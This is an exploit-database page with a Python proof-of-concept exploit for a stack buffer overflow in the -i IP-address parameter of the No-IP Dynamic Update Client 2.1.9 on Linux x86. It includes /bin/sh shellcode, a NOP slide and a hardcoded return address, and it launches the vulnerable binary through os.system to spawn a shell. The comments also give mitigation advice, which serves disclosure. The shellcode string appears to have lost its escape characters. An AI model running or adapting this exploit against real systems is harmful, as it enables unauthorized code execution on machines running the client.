[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow
# Published : 2013-05-13
# Author :
# Previous Title : Java Web Start Launcher ActiveX Control - Memory Corruption
# Next Title : MiniWeb MiniWeb HTTP Server (build 300) - Crash PoC


#!/usr/bin/env python

# Title:  No-IP Dynamic Update Client (DUC) 2.1.9 local IPaddress stack overflow
# Author: Alberto Ortega @a0rtega
#         alberto[@]pentbox[.]net
# Date:   May 11 2013 (vulnerability discovered)

# Background:
#
# No-IP is probably the most used Dynamic DNS provider worldwide,
# their Dynamic Update Client (DUC) is present by default in tons of
# systems, software repositories and embedded devices.
#
# Description:
#
# To be easily portable, the client is written in C, with minimal
# dependencies. So far so good, but the problem is, it is plagued of
# buffer overflows.
#
# Vulnerability:
#
# This exploit covers a stack-based overflow present in -i
# parameter, IPaddress variable name in source code.
#
# It is probably the most basic parameter, as this is the way to say
# the client that our IP has changed.
#
# For the PoC we will use the Linux x86 client version 2.1.9:
# https://www.noip.com/client/linux/noip-duc-linux.tar.gz
# 3b0f5f2ff8637c73ab337be403252a60
#
# http://a0rtega.pentbox.net/partyhard/noip2iexploit.txt
#
# Solution:
#
# API: https://www.noip.com/integrate/
#
# If you are an embedded systems developer, you should write
# your own implementation of the client.
#
# If you are a repository maintainer, the best solution may be
# change the official client for another one.
#
# Compile the distributed binaries with some mitigations and
# include them by default in Makefile would help too.

import os

binary = "./noip-2.1.9-1/binaries/noip2-i686"

shellcode = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
            "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
            "x80xe8xdcxffxffxff/bin/sh"

nop = "x90"
nop_slide = 296 - len(shellcode)

# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "xbcx73x05x08"

print "[*] Executing %s ..." % (binary)

os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))